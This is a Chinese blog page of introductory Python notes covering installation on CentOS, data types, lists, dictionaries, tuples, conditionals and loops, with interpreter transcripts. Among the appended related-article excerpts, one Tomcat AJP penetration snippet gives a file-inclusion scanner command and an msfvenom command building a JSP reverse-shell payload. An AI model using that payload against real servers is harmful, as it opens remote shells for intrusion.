当前位置: 首页 > news >正文

2024年8月8日(python基础)

一、检查并配置python环境(python2内置)
1、检测是否安装

[root@localhost ~]# yum list installed| grep python
[root@localhost ~]# yum -y install epel-release

2、安装python3

[root@localhost ~]# yum -y install python3

最新版3.12可以使用源码安装

3、查看安装版本

[root@localhost ~]# python3 --version
Python 3.6.8

4、开发工具

安装自带的idea

pycharm(付费)

anaconda (专门做数据分析)

5、修改pip镜像为清华

[root@localhost ~]# pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple/ some-package 

二、数据类型和变量
三大数据类型

字符:字符串

        str

数值:整数 浮点型

        int

        float

逻辑 :True False

进入python的编辑状态

[root@localhost ~]# python3

>>> print("hello world")
hello world
>>> a=3
>>> b="abc"
>>> type(a)
<class 'int'>
>>> type(b)
<class 'str'>>>> flag=True    逻辑类型
>>> print(flag);
True
>>> print(1==1);
True
>>> print(1!=1);
False
>>> b='abcder';
>>> b
'abcder'
>>> type(b)   字符类型
<type 'str'>
>>> c=3
>>> c
3
>>> type(c)   整数型
<type 'int'>
>>> d=3.14
>>> d
3.14
>>> type(d)    浮点型
<type 'float'>
三、数据集合

最终的计算是在python内存中计算的,必须要有指定内存空间保存数据,这些内存空间其实就是变量,使用数据集合批量管理内存空间

1、列表 list        

(java中数组和list的合体):使用最广泛的数据集合工具,当有多个数据需要管理,可以定义一个列表

(1)管理列表
python为开发提供了丰富的使用手册
help(lista)  通过上下方向键,enter,space键来翻阅信息,使用q退出查看,more less创建列表
lista=[]
listc=[1,2,3]修改列表追加元素
lista.append(item)  在所有元素之后添加元素插入元素
listb.insert(pos,item)在pos之前插入item删除元素remove pop
list.pop()删除list中的最后一个元素
list.remove(list[index])删除序号为index的元素修改元素
list[index]=newvaluedel list
>>> name1="张三"
>>> name2="李四"
>>> name3="王五"
>>> print(name1,name2,name3)
张三 李四 王五>>> lista=["张三","包丽婷","包丽婷的男朋友是我嘿嘿"]
>>> type(lista)
<class 'list'>
>>> print(lista)
['张三', '包丽婷', '包丽婷的男朋友是我嘿嘿']>>> listb=["tom","jerry"]
>>> listb
['tom', 'jerry']
>>> listb.append("tomcat")   #添加元素
>>> listb
['tom', 'jerry', 'tomcat']
>>> listb.insert(1,"cat")    #在第二个元素的前面添加元素
>>> listb
['tom', 'cat', 'jerry', 'tomcat']
>>> listb.pop()  #删除(当在列表中删除或者修改一个元素的时候,列表会返回新的列表)
'tomcat'
>>> listb
['tom', 'cat', 'jerry']
>>> listb.remove('cat')   #指定元素删除
>>> listb
['tom', 'jerry']
>>> listb[0]
'tom'
>>> listb[2]    #下标越界
Traceback (most recent call last):File "<stdin>", line 1, in <module>
IndexError: list index out of range>>> listb.remove(listb[0])   #删除第一个元素
>>> listb
['jerry']
2、 字典 

(1)dict

(2)dirctionary

(3)key-value,键值对

(4){"name":"张三","age":"10"}

(5)键:值

{

        "from":"me",

        "to":"you",

        "message":"你出发了吗",

        "time":"2024-7-8 9:00",

        "user":{

        "username":"abc",

        "password":"abc"

        }

}

3、 元组
>>> tup10=(1,2,3,4)
>>> tup10
(1, 2, 3, 4)
>>> tup10[0]
1
>>> tup10[3]
4
>>> tup10[1]=666   #不支持修改
Traceback (most recent call last):File "<stdin>", line 1, in <module>
TypeError: 'tuple' object does not support item assignment
>>> list(tup10)
[1, 2, 3, 4]>>> aa=list(tup10)   #变成列表可以修改
>>> aa
[1, 2, 3, 4]         #列表
>>> tuple(aa)        
(1, 2, 3, 4)         #元组
>>> dict={"a":1,"b":2,"c":3}
#list()可以把dict的key生成一个列表
>>> dict
{'a': 1, 'b': 2, 'c': 3}
>>> dict.keys()
dict_keys(['a', 'b', 'c'])
>>> dict.items()
dict_items([('a', 1), ('b', 2), ('c', 3)])
#list可以把tupl变成列表
#tupl可以把dic和list变成元组
>>> list(dict)
['a', 'b', 'c']
四、选择语句和循环语句
1、选择语句
        (1)必须缩进
        (2)if
>>> a=3
>>> b=4
>>> 
[1]+  已停止               python3   #Ctrl+z退出
[root@localhost ~]# fg    #fg回去
python3
>>> a
3
>>> b
4
if condition0:statement0if condition1:block1else:block2
else:statement1

[root@localhost ~]# vim py001.py


[root@localhost ~]# python3 py001.py   #必须缩进
  File "py001.py", line 2
    print("I`am true")
        ^
IndentationError: expected an indented block
[root@localhost ~]# vim py001.py


[root@localhost ~]# python3 py001.py
I`am true

>>> if True:
... print("I`am true")File "<stdin>", line 2print("I`am true")^
IndentationError: expected an indented block
>>> if True:
...     print("I`am true")
... else:
...     print("I`am false")
... 
I`am true
(3)if多分枝
if condition0:block0
elif condition1:block1
elif condition2:block1
...
else:block2
>>> n=58
>>> if n>90:
...     print("优秀")
... elif n>80:
...     print("良好")
... elif n>70:
...     print("中等")
... elif n>60:
...     print("及格")
... else:
...     print("不及格")
... 
不及格

[root@localhost ~]# vim py002.py


[root@localhost ~]# python3 py002.py
随机分数为: 67
及格

[root@localhost ~]# vim py003.py


[root@localhost ~]# python3 py003.py
随机数为: 77
中等

(4)switch
2、循环语句
(1)for
for var in list:print(var)for i in range(101): #0-100n=n+iprint(n)  #1-100数字累加在列表中循环
for var in ["a","b","c"]:print(var)在字典中遍历
d={"id":1001,"name":"张三","age":19}
for var in d:print(d)  #将d这个字典中的key都输出print(d[var])  #根据key返回对应的value的值
for var in d.values():print(var)print(d[var])
for var in d.keys():print(var)在元组中遍历
tup10=("a","b","v")
for var in tup10:print(var)

[root@localhost ~]# vim py004.py
 

[root@localhost ~]# python3 py004.py
5050

[root@localhost ~]# python -m pdb py004.py
> /root/py004.py(1)<module>()
-> n=0
(Pdb) 
(Pdb) n
> /root/py004.py(2)<module>()
-> for i in range(101):
(Pdb) n
> /root/py004.py(3)<module>()
-> n=n+i
(Pdb) n
> /root/py004.py(2)<module>()
-> for i in range(101):
(Pdb) n
> /root/py004.py(3)<module>()
-> n=n+i

1.1在列表中遍历
>>> for var in ["a","b","c"]:
...     print(var)
... 
a
b
c
>>> a=["e","f","g"]
>>> for var in a:
...     print(var)
... 
e
f
g
1.2在字典中循环遍历
>>> d={"id":1001,"name":"张三","age":18,"gender":"男"}
>>> for var in d:
...     print (var)
... 
id
name
age
gender
>>> for var in d:
...     print (var,"-",d[var])
... 
id - 1001
name - 张三
age - 18
gender - 男>>> for var in d.values():
...     print(var)
... 
1001
张三
18
男
1.3在元组里面遍历
>>> tup10=("a","b","e")
>>> for var in tup10:
...     print (var)
... 
a
b
e
3、 案例(0-100之间可以被7整除的数)
>>> b=list(range(101))
>>> b
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100]
>>> for i in b:
...     if i%7==0:
...             print (i,"可以被7整除")
...     
... 
0 可以被7整除
7 可以被7整除
14 可以被7整除
21 可以被7整除
28 可以被7整除
35 可以被7整除
42 可以被7整除
49 可以被7整除
56 可以被7整除
63 可以被7整除
70 可以被7整除
77 可以被7整除
84 可以被7整除
91 可以被7整除
98 可以被7整除
(2)while
while condition:block#continue,break;   也可以应用于for
>>> n=0
>>> i=1
>>> while i<101:
...     n+=i
...     i+=1
... 
>>> n
5050>>> i=1
>>> n=0
>>> while True:  #死循环
...     print (i)>>> while True:
...     print("abc")
...     break
... 
abc
>>> while True:
...     print("abc")
...     continue  #一直循环输出abc>>> i=1
>>> while True:
...     if i==3:
...             continue   #一直循环但不输出内容
...     print(i)
...     i+=1
... 
1
2
#卡住
五、常用的工具api

相关文章:

2024年8月8日(python基础)

一、检查并配置python环境&#xff08;python2内置&#xff09; 1、检测是否安装 [rootlocalhost ~]# yum list installed| grep python [rootlocalhost ~]# yum -y install epel-release 2、安装python3 [rootlocalhost ~]# yum -y install python3 最新版3.12可以使用源码安…...

SpringAOP_面向切面编程

一、什么是StringAOP AOP(Aspect-Oriented Programming: 面向切面编程)&#xff1a;将那些与业务无关&#xff0c; 却为业务模块所共同调用的逻辑&#xff08;例如事务处理、日志管理、权限控制等&#xff09;封装抽取成一个可重用的模块&#xff0c;这个模块被命名为“切面”&…...

芯片bring-up的测试用例

文章目录 前言一、测试用例的规划和编写原则1、冒烟测试1&#xff09;电源时钟复位测试2&#xff09;寄存器扫描测试3&#xff09;单一功能冒烟测试 二、遍历测试三、随机测试四、性能测试五、压力测试 总结 前言 最近做了一些用测试用例点亮芯片的工作&#xff0c;从测试用例…...

vs code编辑区域右键菜单突然变短

今天打开vs code发现鼠标在编辑区域按右键&#xff0c;出来的菜单只显示一小段 显示不全&#xff0c;而之前的样子是 显示很多项&#xff0c;怎么设置回到显示很多项呢&#xff1f;...

如何将TRIZ的“最终理想解”应用到机器人电机控制设计中?

TRIZ理论&#xff0c;作为一套系统的创新方法论&#xff0c;旨在帮助设计师和工程师突破思维惯性&#xff0c;解决复杂的技术难题。其核心思想之一便是“最终理想解”&#xff0c;它如同一盏明灯&#xff0c;指引着我们在技术创新的道路上不断前行。最终理想解追求的是产品或技…...

【记录】基于docker部署小熊派BearPi-Pico H3863开发环境

参考&#xff1a;&#x1f4dd; Ubuntu环境下开发环境搭建 | 小熊派BearPi 过程 在物理机中创建一个工作路径 /home/luo/locke/BearPi/BearPi_Pico_H3863创建docker容器 docker run -it \ --privilegedtrue --cap-addALL \ --name BearPi-Pico_H3863_env \ -v /home/luo/lo…...

Elasticsearch 与 OpenSearch:谁才是搜索霸主

Elasticsearch简介 Elasticsearch 是一个开源的、基于 RESTful 接口的分布式搜索和分析引擎&#xff0c;它利用了 Apache Lucene 的强大功能。 它特别适合处理大规模数据&#xff0c;这使得它成为管理和分析日志及事件数据的理想选择。 Elasticsearch 以其即时性而著称&…...

WEB渗透-TomcatAjp之LFIRCE

LFI https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner >python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.0.110 -p 8009 -f pass配合目标文件上传传入服务器 RCE >msfvenom -p java/jsp_shell_reverse_tcp LHOST192.168.0.107 LPORT12138 R >/va…...

嵌入式初学-C语言-二一

数组指针 概念&#xff1a;数组指针是指向数组的指针。 特点&#xff1a; 先有数组&#xff0c;后有指针 它指向的是一个完整的数组。 一维数组指针 数据类型 (*指针变量名)[容量]&#xff1b; 案例&#xff1a; /** * 数组指针&#xff1a;指向数组的指针 */ #include <…...

2376. 统计特殊整数

Powered by:NEFU AB-IN Link 文章目录 2376. 统计特殊整数题意思路代码 2376. 统计特殊整数 题意 如果一个正整数每一个数位都是 互不相同 的&#xff0c;我们称它是 特殊整数 。 给你一个 正 整数 n &#xff0c;请你返回区间 [1, n] 之间特殊整数的数目。 思路 详见灵神…...

Python 绘图进阶之核密度估计图:掌握数据分布的秘密

Python 绘图进阶之核密度估计图&#xff1a;掌握数据分布的秘密 引言 在数据分析中&#xff0c;了解数据的分布情况是至关重要的一步。除了常用的直方图和箱线图&#xff0c;核密度估计图&#xff08;Kernel Density Estimation, KDE&#xff09;提供了一种更为平滑、直观的方…...

设计模式(1)创建型模式和结构型模式

1、目标 本文的主要目标是学习创建型模式和结构型模式&#xff0c;并分别代码实现每种设计模式 2、创建型模式 2.1 单例模式&#xff08;singleton&#xff09; 单例模式是创建一个对象保证只有这个类的唯一实例&#xff0c;单例模式分为饿汉式和懒汉式&#xff0c;饿汉式是…...

RuoYi-Vue新建模块

一、环境准备 附:RuoYi-Vue下载与运行 二、新建模块 在RuoYi-Vue下新建模块ruoyi-test。 三、父pom文件添加子模块 在RuoYi-Vue的pom.xml中,引入子模块。 <dependency><groupId>com.ruoyi</groupId><artifactId>ruoyi-test</artifactId>&…...

Element-UI自学实践

概述 Element-UI 是由饿了么前端团队推出的一款基于 Vue.js 2.0 的桌面端 UI 组件库。它为开发者提供了一套完整、易用、美观的组件解决方案&#xff0c;极大地提升了前端开发的效率和质量。本文为自学实践记录&#xff0c;详细内容见 &#x1f4da; ElementUI官网 1. 基础组…...

ChatGPT如何工作:创作一首诗的过程

疑问 怎样理解 Chat GPT 的工作原理&#xff1f;比如我让他作一首诗&#xff0c;他是如何创作的呢&#xff1f;每一行诗&#xff0c;每一个字都是怎么来的&#xff1f;随机拼凑的还是从哪里借鉴的&#xff1f; 回答 当你让 ChatGPT 创作一首诗时&#xff0c;它并不是简单地随…...

Linux_Shell变量及运算符-05

一、Shell基础 1.1 什么是shell Shell脚本语言是实现Linux/UNIX系统管理及自W动化运维所必备的重要工具&#xff0c; Linux/UNIX系统的底层及基础应用软件的核心大都涉及Shell脚本的内容。Shell是一种编程语言, 它像其它编程语言如: C, Java, Python等一样也有变量/函数/运算…...

OpenCV图像滤波(13)均值迁移滤波函数pyrMeanShiftFiltering()的使用

操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 算法描述 函数执行均值迁移图像分割的初始步骤。 该函数实现了均值迁移分割的过滤阶段&#xff0c;即输出是经过滤波的“海报化”图像&#xff0c;其中颜色…...

用爬虫技术探索石墨文档:数据自动化处理与个性化应用的创新实践

用爬虫技术探索石墨文档&#xff1a;数据自动化处理与个性化应用的创新实践 在当今这个信息爆炸的时代&#xff0c;文档管理与协作成为了企业运营和个人工作中不可或缺的一部分。石墨文档&#xff0c;作为一款轻量级的云端Office套件&#xff0c;凭借其强大的在线协作、实时同…...

【JavaEE初阶】线程池

目录 &#x1f4d5; 引言 &#x1f333; 概念 &#x1f340;ThreadPoolExecutor 类 &#x1f6a9; int corePoolSize与int maximumPoolSize&#xff1a; &#x1f6a9; long keepAliveTime与TimeUnit nuit&#xff1a; &#x1f6a9; BlockingQueue workQueue&#xff1a…...

zdpgo_cobra_req 新增解析请求体内容

zdpgo_cobra_req 使用Go语言开发的&#xff0c;类似于curl的HTTP客户端请求工具&#xff0c;用于便捷的测试各种HTTP地址 特性 1、帮助文档都是中文的2、支持常见的HTTP请求&#xff0c;比如GET、POST、PUT、DELETE等 下载 git clone https://github.com/zhangdapeng520/z…...

Java聚合快递对接云洋系统快递小程序源码

&#x1f31f;【一键聚合&#xff0c;高效便捷】快递对接云洋系统小程序全攻略&#x1f680; 引言&#xff1a;告别繁琐&#xff0c;拥抱智能快递新时代&#x1f50d; 在这个快节奏的时代&#xff0c;每一分每一秒都弥足珍贵。你是否还在为手动输入多个快递单号、频繁切换不同…...

陕西西安培华学院计算机软件工程毕业设计课题选题参考目录​

陕西西安培华学院计算机软件工程毕业设计课题选题 博主介绍&#xff1a;✌️大厂码农|毕设布道师&#xff0c;阿里云开发社区乘风者计划专家博主&#xff0c;CSDN平台&#xff0c;✌️Java领域优质创作者,博客之星、掘金/华为云/阿里云等平台优质作者、专注于大学生项目实战开发…...

如何用sql在1分钟从1T数据中精准定位查询?Hive离线数仓 Spark分析

最近在一个群里&#xff0c;从群友哪里了解到这样一个业务需求&#xff1a;如何在 hdfs 1 T源数据库中&#xff0c;1分钟内从其中抓取自己想要的数据&#xff1f; 我的理解是 &#xff1a; 在hdfs数据库中为拥有 尽1T数据的表创建索引,并对其进行性能优化&#xff0c;以实现…...

acpi 主板布局需要 efi

今天在折腾 ESXI 的时候&#xff0c;启动虚拟机跳出了 acpi 主板布局需要 efi 然后我就将 ESXI 的启动方式改为了 EFI 但是虚拟机有莫名的启动不了&#xff0c;网上也没有找到办法&#xff0c;最后&#xff0c;我将虚拟机类型有原本的 ubuntu 换成了 debian 最后启动成功&…...

月之暗面对谈 Zilliz:长文本和 RAG 如何选择?

01 长文本与RAG通用对比 准确率&#xff1a;通常情况下长文本优于RAG 长文本&#xff1a;可更加综合的去分析所有相关的内容&#xff0c;提取相关数字&#xff0c;生成图表&#xff0c;效果尚可。RAG&#xff1a;更适合找到一段或者是几段可能相关的段落。如果希望大模型能够…...

高级java每日一道面试题-2024年8月12日-设计模式篇-请列举出在JDK中几个常用的设计模式?

如果有遗漏,评论区告诉我进行补充 面试官: 请列举出在JDK中几个常用的设计模式? 我回答: 在Java Development Kit (JDK) 中&#xff0c;许多设计模式被广泛使用&#xff0c;以帮助实现软件的结构、行为和复用。下面是一些在JDK中常见的设计模式及其简要说明&#xff1a; 工…...

mysql workbench8.0如何导出mysql5.7格式的sql定义

碰到的问题 mac上安装mysql workbech6.0后不能运行&#xff0c;但安装workbench8.0后&#xff0c;导出的数据库sql文件默认是msyql 8.0的语法和格式。比如生成索引的语句后面会有visible关键字&#xff0c;当把mysql8.0的sql文件导入到mysql5.7时就会报错。 如何解决 点击my…...

数据结构(学习)2024.8.6(顺序表)

今天开始学习数据结构的相关知识&#xff0c;大概分为了解数据结构、算法&#xff1b;学习线性表&#xff1a;顺序表、链表、栈、队列的相关知识和树&#xff1a;二叉树、遍历、创建&#xff0c;查询方法、排序方式等。 目录 一、数据结构 数据 逻辑结构 1.线性结构 2.树…...

MyBatis全解

目录 一&#xff0c; MyBatis 概述 1.1-介绍 MyBatis 的历史和发展 1.2-MyBatis 的特点和优势 1.3-MyBatis 与 JDBC 的对比 1.4-MyBatis 与其他 ORM 框架的对比 二&#xff0c; 快速入门 2.1-环境搭建 2.2-第一个 MyBatis 应用程序 2.3-配置文件详解 (mybatis-config.…...

【Redis进阶】Redis集群

目录 Redis集群的诞生 单节点Redis的局限性 1.存储容量限制 2.性能瓶颈 3.单点故障 4.扩展性能差 分布式系统发展的需要 1.海量数据处理 2.高性能要求 3.弹性扩展能力 Redis集群&#xff08;cluster&#xff09; 如图所示案例 Redis集群设计 什么是数据分片&…...